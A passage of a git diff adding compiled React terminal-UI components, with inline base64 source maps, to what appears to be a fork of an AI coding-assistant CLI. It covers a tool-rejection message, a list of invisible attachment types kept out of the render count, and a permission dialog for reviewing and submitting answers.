+        columns,
+        messages: [],
+        tools,
+        verbose,
+        progressMessagesForMessage: filterToolProgressMessages(progressMessagesForMessage),
+        style,
+        theme,
+        isTranscriptMode
+      }) ?? <FallbackToolUseRejectedMessage />;
+    }
+    $[1] = columns;
+    $[2] = input;
+    $[3] = isTranscriptMode;
+    $[4] = progressMessagesForMessage;
+    $[5] = style;
+    $[6] = theme;
+    $[7] = tool;
+    $[8] = tools;
+    $[9] = verbose;
+    $[10] = t2;
+    $[11] = t3;
+  } else {
+    t2 = $[10];
+    t3 = $[11];
+  }
+  if (t3 !== Symbol.for("react.early_return_sentinel")) {
+    return t3;
+  }
+  return t2;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZVRlcm1pbmFsU2l6ZSIsInVzZVRoZW1lIiwiZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMiLCJUb29sIiwiVG9vbHMiLCJQcm9ncmVzc01lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiRmFsbGJhY2tUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIiwiUHJvcHMiLCJpbnB1dCIsImtleSIsInByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlIiwic3R5bGUiLCJ0b29sIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsInZlcmJvc2UiLCJpc1RyYW5zY3JpcHRNb2RlIiwiVXNlclRvb2xSZWplY3RNZXNzYWdlIiwidDAiLCIkIiwiX2MiLCJjb2x1bW5zIiwidGhlbWUiLCJyZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIiwidDEiLCJTeW1ib2wiLCJmb3IiLCJpbnB1dFNjaGVtYSIsInQyIiwidDMiLCJiYjAiLCJwYXJzZWRJbnB1dCIsInNhZmVQYXJzZSIsInN1Y2Nlc3MiLCJ0NCIsImRhdGEiLCJtZXNzYWdlcyJdLCJzb3VyY2VzIjpbIlVzZXJUb29sUmVqZWN0TWVzc2FnZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VUZXJtaW5hbFNpemUgfSBmcm9tICcuLi8uLi8uLi9ob29rcy91c2VUZXJtaW5hbFNpemUuanMnXG5pbXBvcnQgeyB1c2VUaGVtZSB9IGZyb20gJy4uLy4uLy4uL2luay5qcydcbmltcG9ydCB7XG4gIGZpbHRlclRvb2xQcm9ncmVzc01lc3NhZ2VzLFxuICB0eXBlIFRvb2wsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi8uLi91dGlscy9tZXNzYWdlcy5qcydcbmltcG9ydCB7IEZhbGxiYWNrVG9vbFVzZVJlamVjdGVkTWVzc2FnZSB9IGZyb20gJy4uLy4uL0ZhbGxiYWNrVG9vbFVzZVJlamVjdGVkTWVzc2FnZS5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgaW5wdXQ6IHsgW2tleTogc3RyaW5nXTogdW5rbm93biB9XG4gIHByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2VbXVxuICBzdHlsZT86ICdjb25kZW5zZWQnXG4gIHRvb2w/OiBUb29sXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICB2ZXJib3NlOiBib29sZWFuXG4gIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBVc2VyVG9vbFJlamVjdE1lc3NhZ2Uoe1xuICBpbnB1dCxcbiAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UsXG4gIHN0eWxlLFxuICB0b29sLFxuICB0b29scyxcbiAgdmVyYm9zZSxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgeyBjb2x1bW5zIH0gPSB1c2VUZXJtaW5hbFNpemUoKVxuICBjb25zdCBbdGhlbWVdID0gdXNlVGhlbWUoKVxuXG4gIGlmICghdG9vbCB8fCAhdG9vbC5yZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKSB7XG4gICAgcmV0dXJuIDxGYWxsYmFja1Rvb2xVc2VSZWplY3RlZE1lc3NhZ2UgLz5cbiAgfVxuXG4gIGNvbnN0IHBhcnNlZElucHV0ID0gdG9vbC5pbnB1dFNjaGVtYS5zYWZlUGFyc2UoaW5wdXQpXG4gIGlmICghcGFyc2VkSW5wdXQuc3VjY2Vzcykge1xuICAgIHJldHVybiA8RmFsbGJhY2tUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIC8+XG4gIH1cblxuICByZXR1cm4gKFxuICAgIHRvb2wucmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZShwYXJzZWRJbnB1dC5kYXRhLCB7XG4gICAgICBjb2x1bW5zLFxuICAgICAgbWVzc2FnZXM6IFtdLFxuICAgICAgdG9vbHMsXG4gICAgICB2ZXJib3NlLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IGZpbHRlclRvb2xQcm9ncmVzc01lc3NhZ2VzKFxuICAgICAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSxcbiAgICAgICksXG4gICAgICBzdHlsZSxcbiAgICAgIHRoZW1lLFxuICAgICAgaXNUcmFuc2NyaXB0TW9kZSxcbiAgICB9KSA/PyA8RmFsbGJhY2tUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIC8+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsZUFBZSxRQUFRLG1DQUFtQztBQUNuRSxTQUFTQyxRQUFRLFFBQVEsaUJBQWlCO0FBQzFDLFNBQ0VDLDBCQUEwQixFQUMxQixLQUFLQyxJQUFJLEVBQ1QsS0FBS0MsS0FBSyxRQUNMLGtCQUFrQjtBQUN6QixjQUFjQyxlQUFlLFFBQVEsMkJBQTJCO0FBQ2hFLGNBQWNDLG1CQUFtQixRQUFRLDRCQUE0QjtBQUNyRSxTQUFTQyw4QkFBOEIsUUFBUSx5Q0FBeUM7QUFFeEYsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLEtBQUssRUFBRTtJQUFFLENBQUNDLEdBQUcsRUFBRSxNQUFNLENBQUMsRUFBRSxPQUFPO0VBQUMsQ0FBQztFQUNqQ0MsMEJBQTBCLEVBQUVOLGVBQWUsRUFBRTtFQUM3Q08sS0FBSyxDQUFDLEVBQUUsV0FBVztFQUNuQkMsSUFBSSxDQUFDLEVBQUVWLElBQUk7RUFDWFcsS0FBSyxFQUFFVixLQUFLO0VBQ1pXLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9WLG1CQUFtQixDQUFDO0VBQy9DVyxPQUFPLEVBQUUsT0FBTztFQUNoQkMsZ0JBQWdCLENBQUMsRUFBRSxPQUFPO0FBQzVC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
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/nullRenderingAttachments.ts b/cc-haha/src/components/messages/nullRenderingAttachments.ts
new file mode 100644
index 0000000..933fea0
--- /dev/null
+++ b/cc-haha/src/components/messages/nullRenderingAttachments.ts
@@ -0,0 +1,70 @@
+import type { Attachment } from 'src/utils/attachments.js'
+import type { Message, NormalizedMessage } from '../../types/message.js'
+
+/**
+ * Attachment types that AttachmentMessage renders as `null` unconditionally
+ * (no visible output regardless of runtime state). Messages.tsx filters these
+ * out BEFORE the render cap / message count so invisible entries don't consume
+ * the 200-message render budget (CC-724).
+ *
+ * Sync is enforced by TypeScript: AttachmentMessage's switch `default:` branch
+ * asserts `attachment.type satisfies NullRenderingAttachmentType`. Adding a new
+ * Attachment type without either a case or an entry here will fail typecheck.
+ */
+const NULL_RENDERING_TYPES = [
+  'hook_success',
+  'hook_additional_context',
+  'hook_cancelled',
+  'command_permissions',
+  'agent_mention',
+  'budget_usd',
+  'critical_system_reminder',
+  'edited_image_file',
+  'edited_text_file',
+  'opened_file_in_ide',
+  'output_style',
+  'plan_mode',
+  'plan_mode_exit',
+  'plan_mode_reentry',
+  'structured_output',
+  'team_context',
+  'todo_reminder',
+  'context_efficiency',
+  'deferred_tools_delta',
+  'mcp_instructions_delta',
+  'companion_intro',
+  'token_usage',
+  'ultrathink_effort',
+  'max_turns_reached',
+  'task_reminder',
+  'auto_mode',
+  'auto_mode_exit',
+  'output_token_usage',
+  'pen_mode_enter',
+  'pen_mode_exit',
+  'verify_plan_reminder',
+  'current_session_memory',
+  'compaction_reminder',
+  'date_change',
+] as const satisfies readonly Attachment['type'][]
+
+export type NullRenderingAttachmentType = (typeof NULL_RENDERING_TYPES)[number]
+
+const NULL_RENDERING_ATTACHMENT_TYPES: ReadonlySet<Attachment['type']> =
+  new Set(NULL_RENDERING_TYPES)
+
+/**
+ * True when this message is an attachment that AttachmentMessage renders as
+ * null with no visible output. Messages.tsx filters these out before counting
+ * and before applying the 200-message render cap, so invisible hook
+ * attachments (hook_success, hook_additional_context, hook_cancelled) don't
+ * inflate the "N messages" count or eat into the render budget (CC-724).
+ */
+export function isNullRenderingAttachment(
+  msg: Message | NormalizedMessage,
+): boolean {
+  return (
+    msg.type === 'attachment' &&
+    NULL_RENDERING_ATTACHMENT_TYPES.has(msg.attachment.type)
+  )
+}
diff --git a/cc-haha/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.tsx b/cc-haha/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.tsx
new file mode 100644
index 0000000..d0b5fb3
--- /dev/null
+++ b/cc-haha/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.tsx
@@ -0,0 +1,144 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React from 'react';
+import { Box, Text } from '../../../ink.js';
+import type { Question } from '../../../tools/AskUserQuestionTool/AskUserQuestionTool.js';
+import type { PermissionDecision } from '../../../utils/permissions/PermissionResult.js';
+import { Select } from '../../CustomSelect/index.js';
+import { Divider } from '../../design-system/Divider.js';
+import { PermissionRequestTitle } from '../PermissionRequestTitle.js';
+import { PermissionRuleExplanation } from '../PermissionRuleExplanation.js';
+import { QuestionNavigationBar } from './QuestionNavigationBar.js';
+type Props = {
+  questions: Question[];
+  currentQuestionIndex: number;
+  answers: Record<string, string>;
+  allQuestionsAnswered: boolean;
+  permissionResult: PermissionDecision;
+  minContentHeight?: number;
+  onFinalResponse: (value: 'submit' | 'cancel') => void;
+};
+export function SubmitQuestionsView(t0) {
+  const $ = _c(27);
+  const {
+    questions,
+    currentQuestionIndex,
+    answers,
+    allQuestionsAnswered,
+    permissionResult,
+    minContentHeight,
+    onFinalResponse
+  } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <Divider color="inactive" />;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let t2;
+  if ($[1] !== answers || $[2] !== currentQuestionIndex || $[3] !== questions) {
+    t2 = <QuestionNavigationBar questions={questions} currentQuestionIndex={currentQuestionIndex} answers={answers} />;
+    $[1] = answers;
+    $[2] = currentQuestionIndex;
+    $[3] = questions;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <PermissionRequestTitle title="Review your answers" color="text" />;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== allQuestionsAnswered) {
+    t4 = !allQuestionsAnswered && <Box marginBottom={1}><Text color="warning">{figures.warning} You have not answered all questions</Text></Box>;
+    $[6] = allQuestionsAnswered;
+    $[7] = t4;
+  } else {
+    t4 = $[7];
+  }
+  let t5;
+  if ($[8] !== answers || $[9] !== questions) {
+    t5 = Object.keys(answers).length > 0 && <Box flexDirection="column" marginBottom={1}>{questions.filter(q => q?.question && answers[q.question]).map(q_0 => {
+        const answer = answers[q_0?.question];
+        return <Box key={q_0?.question || "answer"} flexDirection="column" marginLeft={1}><Text>{figures.bullet} {q_0?.question || "Question"}</Text><Box marginLeft={2}><Text color="success">{figures.arrowRight} {answer}</Text></Box></Box>;
+      })}</Box>;
+    $[8] = answers;
+    $[9] = questions;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== permissionResult) {
+    t6 = <PermissionRuleExplanation permissionResult={permissionResult} toolType="tool" />;
+    $[11] = permissionResult;
+    $[12] = t6;
+  } else {
+    t6 = $[12];
+  }
+  let t7;
+  if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = <Text color="inactive">Ready to submit your answers?</Text>;
+    $[13] = t7;
+  } else {
+    t7 = $[13];
+  }
+  let t8;
+  if ($[14] === Symbol.for("react.memo_cache_sentinel")) {
+    t8 = {
+      type: "text" as const,
+      label: "Submit answers",
+      value: "submit"
+    };
+    $[14] = t8;
+  } else {
+    t8 = $[14];
+  }
+  let t9;
+  if ($[15] === Symbol.for("react.memo_cache_sentinel")) {
+    t9 = [t8, {
+      type: "text" as const,
+      label: "Cancel",
+      value: "cancel"
+    }];
+    $[15] = t9;
+  } else {
+    t9 = $[15];
+  }
+  let t10;
+  if ($[16] !== onFinalResponse) {
+    t10 = <Box marginTop={1}><Select options={t9} onChange={value => onFinalResponse(value as 'submit' | 'cancel')} onCancel={() => onFinalResponse("cancel")} /></Box>;
+    $[16] = onFinalResponse;
+    $[17] = t10;
+  } else {
+    t10 = $[17];
+  }
+  let t11;
+  if ($[18] !== minContentHeight || $[19] !== t10 || $[20] !== t4 || $[21] !== t5 || $[22] !== t6) {
+    t11 = <Box flexDirection="column" marginTop={1} minHeight={minContentHeight}>{t4}{t5}{t6}{t7}{t10}</Box>;
+    $[18] = minContentHeight;
+    $[19] = t10;
+    $[20] = t4;
+    $[21] = t5;
+    $[22] = t6;
+    $[23] = t11;
+  } else {
+    t11 = $[23];
+  }
+  let t12;
+  if ($[24] !== t11 || $[25] !== t2) {
+    t12 = <Box flexDirection="column" marginTop={1}>{t1}<Box flexDirection="column" borderTop={true} borderColor="inactive" paddingTop={0}>{t2}{t3}{t11}</Box></Box>;
+    $[24] = t11;
+    $[25] = t2;
+    $[26] = t12;
+  } else {
+    t12 = $[26];
+  }
+  return t12;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJCb3giLCJUZXh0IiwiUXVlc3Rpb24iLCJQZXJtaXNzaW9uRGVjaXNpb24iLCJTZWxlY3QiLCJEaXZpZGVyIiwiUGVybWlzc2lvblJlcXVlc3RUaXRsZSIsIlBlcm1pc3Npb25SdWxlRXhwbGFuYXRpb24iLCJRdWVzdGlvbk5hdmlnYXRpb25CYXIiLCJQcm9wcyIsInF1ZXN0aW9ucyIsImN1cnJlbnRRdWVzdGlvbkluZGV4IiwiYW5zd2VycyIsIlJlY29yZCIsImFsbFF1ZXN0aW9uc0Fuc3dlcmVkIiwicGVybWlzc2lvblJlc3VsdCIsIm1pbkNvbnRlbnRIZWlnaHQiLCJvbkZpbmFsUmVzcG9uc2UiLCJ2YWx1ZSIsIlN1Ym1pdFF1ZXN0aW9uc1ZpZXciLCJ0MCIsIiQiLCJfYyIsInQxIiwiU3ltYm9sIiwiZm9yIiwidDIiLCJ0MyIsInQ0Iiwid2FybmluZyIsInQ1IiwiT2JqZWN0Iiwia2V5cyIsImxlbmd0aCIsImZpbHRlciIsInEiLCJxdWVzdGlvbiIsIm1hcCIsInFfMCIsImFuc3dlciIsImJ1bGxldCIsImFycm93UmlnaHQiLCJ0NiIsInQ3IiwidDgiLCJ0eXBlIiwiY29uc3QiLCJsYWJlbCIsInQ5IiwidDEwIiwidDExIiwidDEyIl0sInNvdXJjZXMiOlsiU3VibWl0UXVlc3Rpb25zVmlldy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgUXVlc3Rpb24gfSBmcm9tICcuLi8uLi8uLi90b29scy9Bc2tVc2VyUXVlc3Rpb25Ub29sL0Fza1VzZXJRdWVzdGlvblRvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFBlcm1pc3Npb25EZWNpc2lvbiB9IGZyb20gJy4uLy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL1Blcm1pc3Npb25SZXN1bHQuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi8uLi9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBEaXZpZGVyIH0gZnJvbSAnLi4vLi4vZGVzaWduLXN5c3RlbS9EaXZpZGVyLmpzJ1xuaW1wb3J0IHsgUGVybWlzc2lvblJlcXVlc3RUaXRsZSB9IGZyb20gJy4uL1Blcm1pc3Npb25SZXF1ZXN0VGl0bGUuanMnXG5pbXBvcnQgeyBQZXJtaXNzaW9uUnVsZUV4cGxhbmF0aW9uIH0gZnJvbSAnLi4vUGVybWlzc2lvblJ1bGVFeHBsYW5hdGlvbi5qcydcbmltcG9ydCB7IFF1ZXN0aW9uTmF2aWdhdGlvbkJhciB9IGZyb20gJy4vUXVlc3Rpb25OYXZpZ2F0aW9uQmFyLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBxdWVzdGlvbnM6IFF1ZXN0aW9uW11cbiAgY3VycmVudFF1ZXN0aW9uSW5kZXg6IG51bWJlclxuICBhbnN3ZXJzOiBSZWNvcmQ8c3RyaW5nLCBzdHJpbmc+XG4gIGFsbFF1ZXN0aW9uc0Fuc3dlcmVkOiBib29sZWFuXG4gIHBlcm1pc3Npb25SZXN1bHQ6IFBlcm1pc3Npb25EZWNpc2lvblxuICBtaW5Db250ZW50SGVpZ2h0PzogbnVtYmVyXG4gIG9uRmluYWxSZXNwb25zZTogKHZhbHVlOiAnc3VibWl0JyB8ICdjYW5jZWwnKSA9PiB2b2lkXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBTdWJtaXRRdWVzdGlvbnNWaWV3KHtcbiAgcXVlc3Rpb25zLFxuICBjdXJyZW50UXVlc3Rpb25JbmRleCxcbiAgYW5zd2VycyxcbiAgYWxsUXVlc3Rpb25zQW5zd2VyZWQsXG4gIHBlcm1pc3Npb25SZXN1bHQsXG4gIG1pbkNvbnRlbnRIZWlnaHQsXG4gIG9uRmluYWxSZXNwb25zZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgPERpdmlkZXIgY29sb3I9XCJpbmFjdGl2ZVwiIC8+XG4gICAgICA8Qm94XG4gICAgICAgIGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIlxuICAgICAgICBib3JkZXJUb3BcbiAgICAgICAgYm9yZGVyQ29sb3I9XCJpbmFjdGl2ZVwiXG4gICAgICAgIHBhZGRpbmdUb3A9ezB9XG4gICAgICA+XG4gICAgICAgIDxRdWVzdGlvbk5hdmlnYXRpb25CYXJcbiAgICAgICAgICBxdWVzdGlvbnM9e3F1ZXN0aW9uc31cbiAgICAgICAgICBjdXJyZW50UXVlc3Rpb25JbmRleD17Y3VycmVudFF1ZXN0aW9uSW5kZXh9XG4gICAgICAgICAgYW5zd2Vycz17YW5zd2Vyc31cbiAgICAgICAgLz5cbiAgICAgICAgPFBlcm1pc3Npb25SZXF1ZXN0VGl0bGUgdGl0bGU9XCJSZXZpZXcgeW91ciBhbnN3ZXJzXCIgY29sb3I9XCJ0ZXh0XCIgLz5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfSBtaW5IZWlnaHQ9e21pbkNvbnRlbnRIZWlnaHR9PlxuICAgICAgICAgIHshYWxsUXVlc3Rpb25zQW5zd2VyZWQgJiYgKFxuICAgICAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5cbiAgICAgICAgICAgICAgICB7ZmlndXJlcy53YXJuaW5nfSBZb3UgaGF2ZSBub3QgYW5zd2VyZWQgYWxsIHF1ZXN0aW9uc1xuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICApfVxuICAgICAgICAgIHtPYmplY3Qua2V5cyhhbnN3ZXJzKS5sZW5ndGggPiAwICYmIChcbiAgICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpbkJvdHRvbT17MX0+XG4gICAgICAgICAgICAgIHtxdWVzdGlvbnNcbiAgICAgICAgICAgICAgICAuZmlsdGVyKChxOiBRdWVzdGlvbikgPT4gcT8ucXVlc3Rpb24gJiYgYW5zd2Vyc1txLnF1ZXN0aW9uXSlcbiAgICAgICAgICAgICAgICAubWFwKChxOiBRdWVzdGlvbikgPT4ge1xuICAgICAgICAgICAgICAgICAgY29uc3QgYW5zd2VyID0gYW5zd2Vyc1txPy5xdWVzdGlvbl1cblxuICAgICAgICAgICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgICAgICAgICAgPEJveFxuICAgICAgICAgICAgICAgICAgICAgIGtleT17cT8ucXVlc3Rpb24gfHwgJ2Fuc3dlcid9XG4gICAgICAgICAgICAgICAgICAgICAgZmxleERpcmVjdGlvbj1cImNvbHVtblwiXG4gICAgICAgICAgICAgICAgICAgICAgbWFyZ2luTGVmdD17MX1cbiAgICAgICAgICAgICAgICAgICAgPlxuICAgICAgICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgICAgICAge2ZpZ3VyZXMuYnVsbGV0fSB7cT8ucXVlc3Rpb24gfHwgJ1F1ZXN0aW9uJ31cbiAgICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgICAgPEJveCBtYXJnaW5MZWZ0PXsyfT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICB7ZmlndXJlcy5hcnJvd1JpZ2h0fSB7YW5zd2VyfVxuICAgICAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgICAgIDwvQm94PlxuICAgICAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICB9KX1cbiAgICAgICAgICAgIDwvQm94PlxuICAgICAgICAgICl9XG5cbiAgICAgICAgICA8UGVybWlzc2lvblJ1bGVFeHBsYW5hdGlvblxuICAgICAgICAgICAgcGVybWlzc2lvblJlc3VsdD17cGVybWlzc2lvblJlc3VsdH1cbiAgICAgICAgICAgIHRvb2xUeXBlPVwidG9vbFwiXG4gICAgICAgICAgLz5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cImluYWN0aXZlXCI+UmVhZHkgdG8gc3VibWl0IHlvdXIgYW5zd2Vycz88L1RleHQ+XG4gICAgICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgICAgPFNlbGVjdFxuICAgICAgICAgICAgICBvcHRpb25zPXtbXG4gICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgdHlwZTogJ3RleHQnIGFzIGNvbnN0LFxuICAgICAgICAgICAgICAgICAgbGFiZWw6ICdTdWJtaXQgYW5zd2VycycsXG4gICAgICAgICAgICAgICAgICB2YWx1ZTogJ3N1Ym1pdCcsXG4gICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICB7IHR5cGU6ICd0ZXh0JyBhcyBjb25zdCwgbGFiZWw6ICdDYW5jZWwnLCB2YWx1ZTogJ2NhbmNlbCcgfSxcbiAgICAgICAgICAgICAgXX1cbiAgICAgICAgICAgICAgb25DaGFuZ2U9e3ZhbHVlID0+IG9uRmluYWxSZXNwb25zZSh2YWx1ZSBhcyAnc3VibWl0JyB8ICdjYW5jZWwnKX1cbiAgICAgICAgICAgICAgb25DYW5jZWw9eygpID0+IG9uRmluYWxSZXNwb25zZSgnY2FuY2VsJyl9XG4gICAgICAgICAgICAvPlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvQm94PlxuICAgIDwv